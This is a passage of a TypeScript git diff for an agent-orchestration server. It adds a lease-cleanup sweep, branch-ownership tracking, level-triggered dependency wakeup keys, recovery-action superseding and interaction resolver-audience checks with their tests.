@@ -13316,6 +13816,27 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
     if (reaped.length > 0) {
       logger.warn({ reapedCount: reaped.length, runIds: reaped }, "reaped orphaned heartbeat runs");
     }
+
+    // Retry stranded pending_cleanup leases on the same tick. Isolate the sweep
+    // so its failure never hides the reaper result. The backoff equals the
+    // reaper staleness threshold.
+    try {
+      const sweep = await sweepPendingCleanupLeases({ backoffMs: staleThresholdMs });
+      if (sweep.destroyed > 0 || sweep.capped > 0) {
+        logger.warn(
+          { destroyed: sweep.destroyed, capped: sweep.capped, swept: sweep.swept },
+          "swept pending_cleanup environment leases",
+        );
+      }
+    } catch {
+      // Log a constant errorKind only. The exception can carry a credential in
+      // its name, code, message, cause, or stack, so the sweep never reads it.
+      logger.error(
+        { errorKind: PENDING_CLEANUP_SWEEP_ERROR_KIND },
+        "pending_cleanup lease sweep failed",
+      );
+    }
+
     return { reaped: reaped.length, runIds: reaped };
   }
 
@@ -13986,6 +14507,8 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
       issueExecutionWorkspaceId: requestedExecutionWorkspaceId,
       issueExecutionWorkspacePreference: issueRef?.executionWorkspacePreference ?? null,
       existingExecutionWorkspaceStatus: existingExecutionWorkspace?.status ?? null,
+      requestedExistingBranch: issueExecutionWorkspaceSettings?.workspaceStrategy?.existingBranch ?? null,
+      existingExecutionWorkspaceBranchName: existingExecutionWorkspace?.branchName ?? null,
     });
     const requestedShouldReuseExisting = workspaceReuseRequest.requestedShouldReuseExisting;
     const reusableExistingExecutionWorkspace = workspaceReuseRequest.existingExecutionWorkspaceAvailable
@@ -14561,6 +15084,16 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
             name: agent.name,
             companyId: agent.companyId,
           },
+          recordedBranchOwnership:
+            existingExecutionWorkspace?.status !== "archived"
+            && existingExecutionWorkspace?.branchName
+              ? {
+                  branchName: existingExecutionWorkspace.branchName,
+                  createdByRuntime: isRuntimeOwnedGitBranch(
+                    existingExecutionWorkspace.metadata,
+                  ),
+                }
+              : null,
           heartbeatRunId: run.id,
           enableWorkspaceBranchReconcileForward:
             resolvedInstanceSettings.experimental.enableWorkspaceBranchReconcileForward,
@@ -14578,7 +15111,11 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
         ? reusableExistingExecutionWorkspace?.metadata ?? null
         : null,
       source: executionWorkspace.source,
-      createdByRuntime: executionWorkspace.created,
+      // Branch ownership, not worktree freshness: attaching a worktree to a
+      // pre-existing branch reports created=true but must never make terminal
+      // cleanup delete that operator-owned branch.
+      createdByRuntime: resolveExecutionWorkspaceBranchOwnership(executionWorkspace),
+      strategyType: executionWorkspace.strategy,
       configSnapshot,
       shouldReuseExisting: resolvedWorkspaceReusePolicy.shouldRestoreExistingWorkspace,
       shouldRefreshConfigSnapshot: resolvedWorkspaceReusePolicy.shouldRefreshWorkspaceConfigSnapshot,
@@ -15708,6 +16245,7 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
           failures: referencedProjectStagingFailures.map((failure) => ({
             projectId: failure.projectId,
             reason: "staging" as const,
+            error: failure.error,
           })),
         });
         logger.info(
@@ -16239,11 +16777,17 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
           // recovery path routes it to a human owner instead of looping retries.
           const workspaceValidationSetupFailure = isWorkspaceValidationFailure(outerErr) ? outerErr : null;
           const configurationIncompleteSetupFailure = isConfigurationIncompleteFailure(outerErr) ? outerErr : null;
+          // A remote-only base ref that never resolved is a known pre-dispatch
+          // configuration gap, not an opaque setup crash. Map it to the same
+          // configuration-incomplete code so the recovery path routes it to a
+          // human owner and bounds the repeat by its per-ref fingerprint.
+          const unresolvedBaseRefSetupFailure = isUnresolvedWorkspaceBaseRefError(outerErr) ? outerErr : null;
           const recordedResponsibleUserDenialCode =
             normalizeResponsibleUserDenialCode((await getRun(runId).catch(() => null))?.errorCode);
           const setupFailureErrorCode =
             workspaceValidationSetupFailure?.code ??
             configurationIncompleteSetupFailure?.code ??
+            (unresolvedBaseRefSetupFailure ? CONFIGURATION_INCOMPLETE_FAILURE_CODE : null) ??
             recordedResponsibleUserDenialCode ??
             "setup_failed";
           logger.error({ err: outerErr, runId }, "heartbeat execution setup failed");
@@ -16257,7 +16801,11 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
                 errorCode: setupFailureErrorCode,
                 errorMessage: message,
                 resultJson:
-                  workspaceValidationSetupFailure?.resultJson ?? configurationIncompleteSetupFailure?.resultJson ?? null,
+                  workspaceValidationSetupFailure?.resultJson ??
+                  configurationIncompleteSetupFailure?.resultJson ??
+                  (unresolvedBaseRefSetupFailure
+                    ? buildUnresolvedWorkspaceBaseRefResultJson(run, unresolvedBaseRefSetupFailure)
+                    : null),
               }),
             } : {}),
           }).catch(() => ({ run: null, updated: false as const }));
@@ -16983,6 +17531,13 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
         issue.assigneeAgentId === run.agentId &&
         (run.status === "failed" || run.status === "timed_out" || run.status === "cancelled");
 
+      if (
+        readNonEmptyString(parseObject(run.contextSnapshot).retryReason) ===
+        ISSUE_DISPOSITION_REPAIR_RETRY_REASON
+      ) {
+        return { kind: "released" as const };
+      }
+
       if (!issueNeedsImmediateRecovery) {
         return { kind: "released" as const };
       }
@@ -18992,6 +19547,7 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
     prepareHotRestartShutdown,
     reconcileHotRestartAdoption,
     reapOrphanedRuns,
+    sweepPendingCleanupLeases,
     // Override-aware scheduling-suppression check (honors the worktree
     // run-execution experimental setting). Callers outside the service that
     // gate on suppression should prefer this over the env-only resolver.
@@ -19026,6 +19582,8 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
 
     terminalizeRunOnLeaseRelease,
 
+    releaseEnvironmentLeasesForRun,
+
     sweepStaleIssueLocks,
 
     buildIssueGraphLivenessAutoRecoveryPreview,
diff --git a/server/src/services/index.ts b/server/src/services/index.ts
index 2ab2994c246..54e56fc936a 100644
--- a/server/src/services/index.ts
+++ b/server/src/services/index.ts
@@ -23,6 +23,7 @@ export {
 export { agentInstructionsService, syncInstructionsBundleConfigFromFilePath } from "./agent-instructions.js";
 export { assetService } from "./assets.js";
 export { documentService, extractLegacyPlanBody } from "./documents.js";
+export { artifactReviewDocumentService } from "./artifact-review-documents.js";
 export { statusCardService } from "./status-cards.js";
 export { finalizeStatusCardsForStalledGeneration } from "./status-card-finalization.js";
 export { documentAnnotationService } from "./document-annotations.js";
@@ -158,7 +159,23 @@ export {
 } from "./environment-custom-image-terminal-sessions.js";
 export { executionWorkspaceService } from "./execution-workspaces.js";
 export { workspaceOperationService } from "./workspace-operations.js";
+export {
+  workspaceRuntimeLeaseService,
+  buildWorkspaceRuntimeLeaseOwnerKey,
+  LEASED_WORKSPACE_RUNTIME_ACTIONS,
+  WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUSES,
+  WORKSPACE_RUNTIME_LEASE_TTL_MS,
+  type WorkspaceRuntimeLeaseClaim,
+  type WorkspaceRuntimeLeaseOwner,
+  type WorkspaceRuntimeLeaseService,
+} from "./workspace-runtime-leases.js";
 export { workspaceFileResourceService } from "./workspace-file-resources.js";
+export {
+  createWorkspaceGitOperationScheduler,
+  getWorkspaceGitOperationSchedulerSnapshot,
+  workspaceGitOperationScheduler,
+  type WorkspaceGitSchedulerSnapshot,
+} from "./workspace-git-operation-scheduler.js";
 export { workProductService } from "./work-products.js";
 export {
   logActivity,
diff --git a/server/src/services/instance-settings.ts b/server/src/services/instance-settings.ts
index 32e2c125ede..473b12313b3 100644
--- a/server/src/services/instance-settings.ts
+++ b/server/src/services/instance-settings.ts
@@ -245,6 +245,7 @@ export function normalizeExperimentalSettings(raw: unknown): InstanceExperimenta
       enableWorkspaceBranchReconcileForward: parsed.data.enableWorkspaceBranchReconcileForward ?? true,
       enableWorkspaceDirtyQuarantineRepair: parsed.data.enableWorkspaceDirtyQuarantineRepair ?? true,
       enableOwnerInstanceAdmin: parsed.data.enableOwnerInstanceAdmin ?? false,
+      enableSandboxDuplexBridge: parsed.data.enableSandboxDuplexBridge ?? false,
       enableWorktreeRunExecution: parsed.data.enableWorktreeRunExecution ?? false,
       worktreeRunExecutionActivatedAt: parsed.data.worktreeRunExecutionActivatedAt ?? null,
       worktreeRunExecutionActivationInstanceId:
@@ -282,6 +283,7 @@ export function normalizeExperimentalSettings(raw: unknown): InstanceExperimenta
     enableWorkspaceBranchReconcileForward: true,
     enableWorkspaceDirtyQuarantineRepair: true,
     enableOwnerInstanceAdmin: false,
+    enableSandboxDuplexBridge: false,
     enableWorktreeRunExecution: false,
     worktreeRunExecutionActivatedAt: null,
     worktreeRunExecutionActivationInstanceId: null,
diff --git a/server/src/services/issue-dependency-wakeups.ts b/server/src/services/issue-dependency-wakeups.ts
index 019a9a9cd52..bcd565a8b4e 100644
--- a/server/src/services/issue-dependency-wakeups.ts
+++ b/server/src/services/issue-dependency-wakeups.ts
@@ -1,9 +1,14 @@
-import { and, eq, inArray } from "drizzle-orm";
+import { and, eq, inArray, or } from "drizzle-orm";
+import { createHash } from "node:crypto";
 import type { Db } from "@paperclipai/db";
 import { agentWakeupRequests } from "@paperclipai/db";
 
 export const ISSUE_BLOCKERS_RESOLVED_WAKE_REASON = "issue_blockers_resolved";
 
+// A wake counts as "already delivered or in flight for the current ready state"
+// for these statuses. The level-triggered state key uses this full set so that
+// one wake for a ready state suppresses further wakes for the SAME state. This
+// bounds reconciliation: after one wake, later passes find the completed row.
 const IDEMPOTENT_DEPENDENCY_WAKE_STATUSES = [
   "queued",
   "deferred_issue_execution",
@@ -11,6 +16,23 @@ const IDEMPOTENT_DEPENDENCY_WAKE_STATUSES = [
   "completed",
 ] as const;
 
+// A wake counts as "still in flight" for these statuses. The `completed` status
+// is not in this set on purpose. Dependency readiness is level-triggered, so a
+// historical completed per-edge wake must never suppress a new wake for the
+// current ready state. The dedup uses this set only for the legacy per-edge key,
+// to avoid a duplicate while an old-format wake is still queued or claimed.
+const IN_FLIGHT_DEPENDENCY_WAKE_STATUSES = [
+  "queued",
+  "deferred_issue_execution",
+  "claimed",
+] as const;
+
+/**
+ * Legacy per-edge idempotency key. One key encodes a single resolved blocker
+ * edge `issue_blockers_resolved:{dependentIssueId}:{resolvedBlockerIssueId}`.
+ * The dedup keeps this format only to read wake rows written before the
+ * level-triggered state key existed.
+ */
 export function buildIssueBlockersResolvedWakeIdempotencyKey(input: {
   dependentIssueId: string;
   resolvedBlockerIssueId: string;
@@ -22,36 +44,82 @@ export function buildIssueBlockersResolvedWakeIdempotencyKey(input: {
   ].join(":");
 }
 
-export async function findExistingIssueBlockersResolvedWake(
-  db: Db,
-  input: {
-    companyId: string;
-    idempotencyKey: string;
-  },
-) {
-  return db
-    .select({ id: agentWakeupRequests.id, status: agentWakeupRequests.status })
-    .from(agentWakeupRequests)
-    .where(
-      and(
-        eq(agentWakeupRequests.companyId, input.companyId),
-        eq(agentWakeupRequests.idempotencyKey, input.idempotencyKey),
-        inArray(agentWakeupRequests.status, [...IDEMPOTENT_DEPENDENCY_WAKE_STATUSES]),
-      ),
-    )
-    .limit(1)
-    .then((rows) => rows[0] ?? null);
+/**
+ * Level-triggered idempotency key. One key encodes the full set of blockers that
+ * defines the current dependency-ready state. Two wakes for the same ready state
+ * share the key. A wake for an earlier partial state has a different blocker set,
+ * so it produces a different key and never suppresses the current wake. All three
+ * emit paths (route-time, finalize-time, periodic backstop) use this key so they
+ * share one idempotency rule.
+ */
+export function buildIssueBlockersResolvedWakeStateKey(input: {
+  dependentIssueId: string;
+  blockerIssueIds: string[];
+}) {
+  const sortedBlockerIssueIds = [...new Set(input.blockerIssueIds.filter(Boolean))].sort();
+  const digest = createHash("sha256")
+    .update(sortedBlockerIssueIds.join(","))
+    .digest("hex")
+    .slice(0, 32);
+  return [
+    ISSUE_BLOCKERS_RESOLVED_WAKE_REASON,
+    "state",
+    input.dependentIssueId,
+    String(sortedBlockerIssueIds.length),
+    digest,
+  ].join(":");
 }
 
-export async function findExistingIssueBlockersResolvedWakeForAnyKey(
+/**
+ * Find a wake that already covers the current dependency-ready state of the
+ * dependent issue. The check is level-triggered:
+ *
+ * - The state key matches a wake in any idempotent status (including
+ *   `completed`). This suppresses a duplicate wake for the SAME ready state and
+ *   bounds reconciliation.
+ * - Each legacy per-edge key matches only a wake that is still in flight
+ *   (`queued`, `deferred_issue_execution`, `claimed`). This prevents a duplicate
+ *   wake while an old-format wake is still pending after a deploy, but it never
+ *   lets a historical completed per-edge wake strand the issue.
+ *
+ * Returns the first matching wake or `null`.
+ */
+export async function findExistingIssueBlockersResolvedWakeForReadyState(
   db: Db,
   input: {
     companyId: string;
-    idempotencyKeys: string[];
+    dependentIssueId: string;
+    blockerIssueIds: string[];
   },
 ) {
-  const idempotencyKeys = [...new Set(input.idempotencyKeys.filter(Boolean))];
-  if (idempotencyKeys.length === 0) return null;
+  const stateKey = buildIssueBlockersResolvedWakeStateKey({
+    dependentIssueId: input.dependentIssueId,
+    blockerIssueIds: input.blockerIssueIds,
+  });
+  const legacyKeys = [
+    ...new Set(
+      input.blockerIssueIds
+        .filter(Boolean)
+        .map((resolvedBlockerIssueId) =>
+          buildIssueBlockersResolvedWakeIdempotencyKey({
+            dependentIssueId: input.dependentIssueId,
+            resolvedBlockerIssueId,
+          }),
+        ),
+    ),
+  ];
+
+  const stateMatch = and(
+    eq(agentWakeupRequests.idempotencyKey, stateKey),
+    inArray(agentWakeupRequests.status, [...IDEMPOTENT_DEPENDENCY_WAKE_STATUSES]),
+  );
+  const legacyMatch =
+    legacyKeys.length > 0
+      ? and(
+          inArray(agentWakeupRequests.idempotencyKey, legacyKeys),
+          inArray(agentWakeupRequests.status, [...IN_FLIGHT_DEPENDENCY_WAKE_STATUSES]),
+        )
+      : null;
 
   return db
     .select({
@@ -63,8 +131,7 @@ export async function findExistingIssueBlockersResolvedWakeForAnyKey(
     .where(
       and(
         eq(agentWakeupRequests.companyId, input.companyId),
-        inArray(agentWakeupRequests.idempotencyKey, idempotencyKeys),
-        inArray(agentWakeupRequests.status, [...IDEMPOTENT_DEPENDENCY_WAKE_STATUSES]),
+        legacyMatch ? or(stateMatch, legacyMatch) : stateMatch,
       ),
     )
     .limit(1)
diff --git a/server/src/services/issue-recovery-actions.ts b/server/src/services/issue-recovery-actions.ts
index 3ed00bc863b..dfb4f3978ea 100644
--- a/server/src/services/issue-recovery-actions.ts
+++ b/server/src/services/issue-recovery-actions.ts
@@ -35,6 +35,12 @@ export type UpsertIssueRecoveryActionInput = {
   maxAttempts?: number | null;
   timeoutAt?: Date | null;
   lastAttemptAt?: Date | null;
+  attemptCount?: number;
+  // When true, a change of (cause, fingerprint) does not overwrite the active
+  // action in place. The service resolves the prior action and inserts a new
+  // one. The new failure then gets a distinct recovery identity and a fresh
+  // operator notice, and the prior identity stays as a resolved record.
+  supersedeOnIdentityChange?: boolean;
 };
 
 export type ResolveIssueRecoveryActionInput = {
@@ -123,8 +129,12 @@ export function issueRecoveryActionService(db: Db) {
     }
   }
 
-  async function getActiveForIssue(companyId: string, sourceIssueId: string): Promise<IssueRecoveryAction | null> {
-    const row = await db
+  async function getActiveForIssue(
+    companyId: string,
+    sourceIssueId: string,
+    dbOrTx: DbOrTransaction = db,
+  ): Promise<IssueRecoveryAction | null> {
+    const row = await dbOrTx
       .select()
       .from(issueRecoveryActions)
       .where(
@@ -174,6 +184,81 @@ export function issueRecoveryActionService(db: Db) {
     return upsertSourceScopedUnlocked(input, retryCount + 1);
   }
 
+  function buildInsertValues(
+    input: UpsertIssueRecoveryActionInput,
+    ownerType: IssueRecoveryActionOwnerType,
+    now: Date,
+  ) {
+    return {
+      companyId: input.companyId,
+      sourceIssueId: input.sourceIssueId,
+      recoveryIssueId: input.recoveryIssueId ?? null,
+      kind: input.kind,
+      status: "active" as const,
+      ownerType,
+      ownerAgentId: input.ownerAgentId ?? null,
+      ownerUserId: input.ownerUserId ?? null,
+      previousOwnerAgentId: input.previousOwnerAgentId ?? null,
+      returnOwnerAgentId: input.returnOwnerAgentId ?? null,
+      cause: input.cause,
+      fingerprint: input.fingerprint,
+      evidence: input.evidence ?? {},
+      nextAction: input.nextAction,
+      wakePolicy: input.wakePolicy ?? null,
+      monitorPolicy: input.monitorPolicy ?? null,
+      attemptCount: input.attemptCount ?? 1,
+      maxAttempts: input.maxAttempts ?? null,
+      timeoutAt: input.timeoutAt ?? null,
+      lastAttemptAt: input.lastAttemptAt ?? now,
+    };
+  }
+
+  // Resolve the prior active action, then insert a new one in one transaction.
+  // The prior identity stays as a cancelled record and the new failure gets a
+  // fresh action row with its own id. The partial unique index on the active
+  // status stays satisfied because only the new row is active at commit.
+  async function supersedePriorAndInsert(
+    input: UpsertIssueRecoveryActionInput,
+    priorActionId: string,
+    ownerType: IssueRecoveryActionOwnerType,
+    now: Date,
+    retryCount: number,
+  ): Promise<IssueRecoveryAction> {
+    try {
+      const created = await db.transaction(async (tx) => {
+        const [superseded] = await tx
+          .update(issueRecoveryActions)
+          .set({
+            status: "cancelled",
+            outcome: "cancelled",
+            resolutionNote: "A new failure with a different identity superseded this recovery action.",
+            resolvedAt: now,
+            updatedAt: now,
+          })
+          .where(
+            and(
+              eq(issueRecoveryActions.id, priorActionId),
+              inArray(issueRecoveryActions.status, [...ACTIVE_RECOVERY_ACTION_STATUSES]),
+            ),
+          )
+          .returning();
+        // Another writer resolved the prior action first. Abort and retry the
+        // whole upsert so the retry reads the current active state.
+        if (!superseded) return null;
+        const [row] = await tx
+          .insert(issueRecoveryActions)
+          .values(buildInsertValues(input, ownerType, now))
+          .returning();
+        return row ?? null;
+      });
+      if (!created) return retryUpsertSourceScoped(input, retryCount);
+      return toReadModel(created);
+    } catch (error) {
+      if (!isUniqueRecoveryActionConflict(error)) throw error;
+      return retryUpsertSourceScoped(input, retryCount, error);
+    }
+  }
+
   async function upsertSourceScopedUnlocked(
     input: UpsertIssueRecoveryActionInput,
     retryCount = 0,
@@ -182,6 +267,15 @@ export function issueRecoveryActionService(db: Db) {
     const now = new Date();
     const ownerType = input.ownerType ?? (input.ownerAgentId ? "agent" : "board");
     if (existing) {
+      // A distinct failure identity must not overwrite the active action of a
+      // prior identity. Resolve the prior action and insert a new one, so the
+      // operator gets a new notice for the new failure.
+      if (
+        input.supersedeOnIdentityChange &&
+        (existing.cause !== input.cause || existing.fingerprint !== input.fingerprint)
+      ) {
+        return supersedePriorAndInsert(input, existing.id, ownerType, now, retryCount);
+      }
       const [updated] = await db
         .update(issueRecoveryActions)
         .set({
@@ -199,7 +293,7 @@ export function issueRecoveryActionService(db: Db) {
           nextAction: input.nextAction,
           wakePolicy: input.wakePolicy ?? null,
           monitorPolicy: input.monitorPolicy ?? null,
-          attemptCount: existing.attemptCount + 1,
+          attemptCount: input.attemptCount ?? existing.attemptCount + 1,
           maxAttempts: input.maxAttempts ?? null,
           timeoutAt: input.timeoutAt ?? null,
           lastAttemptAt: input.lastAttemptAt ?? now,
@@ -224,28 +318,7 @@ export function issueRecoveryActionService(db: Db) {
     try {
       const [created] = await db
         .insert(issueRecoveryActions)
-        .values({
-          companyId: input.companyId,
-          sourceIssueId: input.sourceIssueId,
-          recoveryIssueId: input.recoveryIssueId ?? null,
-          kind: input.kind,
-          status: "active",
-          ownerType,
-          ownerAgentId: input.ownerAgentId ?? null,
-          ownerUserId: input.ownerUserId ?? null,
-          previousOwnerAgentId: input.previousOwnerAgentId ?? null,
-          returnOwnerAgentId: input.returnOwnerAgentId ?? null,
-          cause: input.cause,
-          fingerprint: input.fingerprint,
-          evidence: input.evidence ?? {},
-          nextAction: input.nextAction,
-          wakePolicy: input.wakePolicy ?? null,
-          monitorPolicy: input.monitorPolicy ?? null,
-          attemptCount: 1,
-          maxAttempts: input.maxAttempts ?? null,
-          timeoutAt: input.timeoutAt ?? null,
-          lastAttemptAt: input.lastAttemptAt ?? now,
-        })
+        .values(buildInsertValues(input, ownerType, now))
         .returning();
       return toReadModel(created!);
     } catch (error) {
diff --git a/server/src/services/issue-review-policy.ts b/server/src/services/issue-review-policy.ts
index 590f5cd6148..327d7a3835c 100644
--- a/server/src/services/issue-review-policy.ts
+++ b/server/src/services/issue-review-policy.ts
@@ -8,7 +8,7 @@ export interface IssueReviewVerdictActor {
   id: string;
 }
 
-interface IssueReviewRequester extends IssueReviewVerdictActor {
+export interface IssueReviewRequester extends IssueReviewVerdictActor {
   reviewInteractionId: string | null;
 }
 
@@ -20,7 +20,7 @@ interface ReviewPolicyIssue {
   createdByUserId?: string | null;
 }
 
-async function findReviewRequester(
+export async function resolveIssueReviewRequester(
   db: Db,
   issue: ReviewPolicyIssue,
 ): Promise<IssueReviewRequester | null> {
@@ -80,8 +80,18 @@ export async function isIssueReviewVerdictInteraction(
     };
   },
 ): Promise<boolean> {
-  const requester = await findReviewRequester(db, input.issue);
-  if (!requester?.reviewInteractionId || requester.reviewInteractionId !== input.interaction.id) return false;
+  const requester = await resolveIssueReviewRequester(db, input.issue);
+  if (!requester) return false;
+  if (requester.reviewInteractionId && requester.reviewInteractionId !== input.interaction.id) return false;
+  // Older review transitions did not persist the interaction binding. In that
+  // case, an unattributed confirmation is ambiguous and must fail closed.
+  // Confirmations attributed to an unrelated writer remain independently
+  // resolvable, while requester-created confirmations inherit the issue policy.
+  if (!requester.reviewInteractionId
+    && !input.interaction.createdByAgentId
+    && !input.interaction.createdByUserId) {
+    return true;
+  }
   return requester.type === "agent"
     ? input.interaction.createdByAgentId === requester.id
     : input.interaction.createdByUserId === requester.id;
@@ -106,12 +116,12 @@ export async function assertIssueReviewVerdictActorAllowed(
         code: "review_policy_denied",
         policy,
         allowedActor: "authenticated_user_with_issue_write_access",
-        remediation: "Have an authenticated user with issue write access submit the verdict, or change reviewPolicy to `anyone`.",
+        remediation: "Have an authenticated user with issue write access submit the verdict.",
       },
     );
   }
 
-  const requester = await findReviewRequester(db, input.issue);
+  const requester = await resolveIssueReviewRequester(db, input.issue);
   if (!requester) {
     throw forbidden(
       "Review policy `not_creator` requires a different writer, but the review requester could not be determined.",
@@ -119,7 +129,7 @@ export async function assertIssueReviewVerdictActorAllowed(
         code: "review_policy_denied",
         policy,
         allowedActor: "writer_other_than_review_requester",
-        remediation: "Change reviewPolicy to `anyone`, or move the issue out of and back into `in_review` to record a requester before another writer submits the verdict.",
+        remediation: "Move the issue out of and back into `in_review` to record a requester before another writer submits the verdict.",
       },
     );
   }
@@ -131,7 +141,7 @@ export async function assertIssueReviewVerdictActorAllowed(
       code: "review_policy_denied",
       policy,
       allowedActor: "writer_other_than_review_requester",
-      remediation: "Have another writer with issue write access submit the verdict, or change reviewPolicy to `anyone`.",
+      remediation: "Have another writer with issue write access submit the verdict.",
     },
   );
 }
diff --git a/server/src/services/issue-thread-interaction-resolution.test.ts b/server/src/services/issue-thread-interaction-resolution.test.ts
new file mode 100644
index 00000000000..b350206f5ca
--- /dev/null
+++ b/server/src/services/issue-thread-interaction-resolution.test.ts
@@ -0,0 +1,168 @@
+import { describe, expect, it } from "vitest";
+import {
+  evaluateIssueThreadInteractionResolverAudience,
+  issueThreadInteractionAttentionAgentAllowed,
+} from "./issue-thread-interaction-resolution.js";
+
+const agent = { type: "agent", agentId: "agent-1", runId: "run-1" } as const;
+
+function interaction(overrides: Record<string, unknown> = {}) {
+  return {
+    createdByAgentId: "agent-1",
+    createdByUserId: null,
+    sourceRunId: "run-1",
+    addresseeAgentId: null,
+    effectiveResolverPolicy: "anyone",
+    ...overrides,
+  };
+}
+
+describe("issue-thread interaction resolver audience", () => {
+  it.each([
+    "suggest_tasks",
+    "ask_user_questions",
+    "request_confirmation",
+    "request_checkbox_confirmation",
+    "request_item_verdicts",
+  ])("allows the creator and creating run under anyone for %s", () => {
+    expect(evaluateIssueThreadInteractionResolverAudience({
+      actor: agent,
+      interaction: interaction(),
+    })).toMatchObject({ allowed: true, effectiveResolverPolicy: "anyone", reason: "allow_anyone" });
+  });
+
+  it.each([
+    ["creator agent", { createdByAgentId: "agent-1", sourceRunId: "run-other" }],
+    ["creating run", { createdByAgentId: "agent-other", sourceRunId: "run-1" }],
+  ])("excludes the %s only when not_creator is effective", (_name, creator) => {
+    const decision = evaluateIssueThreadInteractionResolverAudience({
+      actor: agent,
+      interaction: interaction({ ...creator, effectiveResolverPolicy: "not_creator" }),
+    });
+    expect(decision).toMatchObject({ allowed: false, code: "interaction_creator_excluded" });
+  });
+
+  it("enforces an explicit addressee", () => {
+    const decision = evaluateIssueThreadInteractionResolverAudience({
+      actor: agent,
+      interaction: interaction({ addresseeAgentId: "agent-2" }),
+    });
+    expect(decision).toMatchObject({ allowed: false, code: "interaction_addressee_mismatch" });
+  });
+
+  it("requires run attribution for agents", () => {
+    const decision = evaluateIssueThreadInteractionResolverAudience({
+      actor: { type: "agent", agentId: "agent-1", runId: null },
+      interaction: interaction(),
+    });
+    expect(decision).toMatchObject({
+      allowed: false,
+      status: 422,
+      code: "interaction_run_attribution_required",
+    });
+  });
+
+  it("allows a server-derived restriction to narrow but never widen the audience", () => {
+    expect(evaluateIssueThreadInteractionResolverAudience({
+      actor: agent,
+      interaction: interaction({ createdByAgentId: "agent-other", sourceRunId: "run-other" }),
+      additionalRestriction: "human_only",
+    })).toMatchObject({ allowed: false, code: "interaction_human_only" });
+
+    expect(evaluateIssueThreadInteractionResolverAudience({
+      actor: agent,
+      interaction: interaction({ effectiveResolverPolicy: "human_only" }),
+      additionalRestriction: "anyone",
+    })).toMatchObject({ allowed: false, code: "interaction_human_only" });
+  });
+
+  it("intersects human-only and creator-separation restrictions", () => {
+    expect(evaluateIssueThreadInteractionResolverAudience({
+      actor: { type: "user", userId: "user-1" },
+      interaction: interaction({
+        createdByAgentId: null,
+        createdByUserId: "user-1",
+        effectiveResolverPolicy: "not_creator",
+      }),
+      additionalRestriction: "human_only",
+    })).toMatchObject({ allowed: false, code: "interaction_creator_excluded" });
+
+    expect(evaluateIssueThreadInteractionResolverAudience({
+      actor: { type: "user", userId: "user-1" },
+      interaction: interaction({
+        createdByAgentId: null,
+        createdByUserId: "user-1",
+        effectiveResolverPolicy: "human_only",
+      }),
+      additionalRestriction: "not_creator",
+    })).toMatchObject({ allowed: false, code: "interaction_creator_excluded" });
+  });
+
+  it("excludes the review requester when a review card has null creator columns", () => {
+    const restriction = {
+      policy: "not_creator",
+      excludedActor: { type: "user", id: "review-requester" },
+      source: "issue_review",
+    } as const;
+    expect(evaluateIssueThreadInteractionResolverAudience({
+      actor: { type: "user", userId: "review-requester" },
+      interaction: interaction({
+        createdByAgentId: null,
+        createdByUserId: null,
+        sourceRunId: null,
+      }),
+      additionalRestriction: restriction,
+    })).toMatchObject({
+      allowed: false,
+      code: "review_policy_denied",
+      details: {
+        policy: "not_creator",
+        allowedActor: "writer_other_than_review_requester",
+      },
+    });
+    expect(evaluateIssueThreadInteractionResolverAudience({
+      actor: { type: "user", userId: "peer-reviewer" },
+      interaction: interaction({
+        createdByAgentId: null,
+        createdByUserId: null,
+        sourceRunId: null,
+      }),
+      additionalRestriction: restriction,
+    })).toMatchObject({ allowed: true, effectiveResolverPolicy: "not_creator" });
+  });
+
+  it("keeps governed actions independently human-only", () => {
+    const decision = evaluateIssueThreadInteractionResolverAudience({
+      actor: agent,
+      interaction: interaction(),
+      governedAction: true,
+    });
+    expect(decision).toMatchObject({ allowed: false, code: "interaction_governed_action_denied" });
+  });
+
+  it("preserves legacy inherited board_or_agents creator separation", () => {
+    const decision = evaluateIssueThreadInteractionResolverAudience({
+      actor: agent,
+      interaction: interaction({
+        effectiveResolverPolicy: "board_or_agents",
+        resolverPolicyProvenance: "legacy_inherited_restriction",
+      }),
+    });
+    expect(decision).toMatchObject({ allowed: false, code: "interaction_creator_excluded" });
+  });
+
+  it("derives agent attention ownership from the same effective audience", () => {
+    expect(issueThreadInteractionAttentionAgentAllowed({
+      agentId: "agent-1",
+      interaction: interaction(),
+    })).toBe(true);
+    expect(issueThreadInteractionAttentionAgentAllowed({
+      agentId: "agent-1",
+      interaction: interaction({ effectiveResolverPolicy: "not_creator" }),
+    })).toBe(false);
+    expect(issueThreadInteractionAttentionAgentAllowed({
+      agentId: "agent-2",
+      interaction: interaction({ effectiveResolverPolicy: "human_only" }),
+    })).toBe(false);
+  });
+});
diff --git a/server/src/services/issue-thread-interaction-resolution.ts b/server/src/services/issue-thread-interaction-resolution.ts
new file mode 100644
index 00000000000..85e3143f1d2
--- /dev/null
+++ b/server/src/services/issue-thread-interaction-resolution.ts
@@ -0,0 +1,335 @@
+import type {
+  IssueThreadInteractionCanonicalResolverPolicy,
+  IssueThreadInteractionResolverPolicy,
+} from "@paperclipai/shared";
+import { normalizeIssueThreadInteractionResolverPolicy } from "@paperclipai/shared";
+import { HttpError } from "../errors.js";
+
+export const ISSUE_THREAD_INTERACTION_RESOLUTION_DENIAL_CODES = [
+  "interaction_not_found",
+  "interaction_run_attribution_required",
+  "interaction_scope_denied",
+  "interaction_human_only",
+  "interaction_creator_excluded",
+  "interaction_addressee_mismatch",
+  "interaction_stale_target",
+  "interaction_superseded",
+  "interaction_already_resolved",
+  "interaction_issue_closed",
+  "interaction_governed_action_denied",
+  "review_policy_denied",
+] as const;
+
+export type IssueThreadInteractionResolutionDenialCode =
+  (typeof ISSUE_THREAD_INTERACTION_RESOLUTION_DENIAL_CODES)[number];
+
+export type IssueThreadInteractionResolverActor =
+  | { type: "user"; userId: string }
+  | { type: "agent"; agentId: string | null | undefined; runId: string | null | undefined }
+  | { type: "system"; systemId: string };
+
+export type IssueThreadInteractionResolverRestriction = {
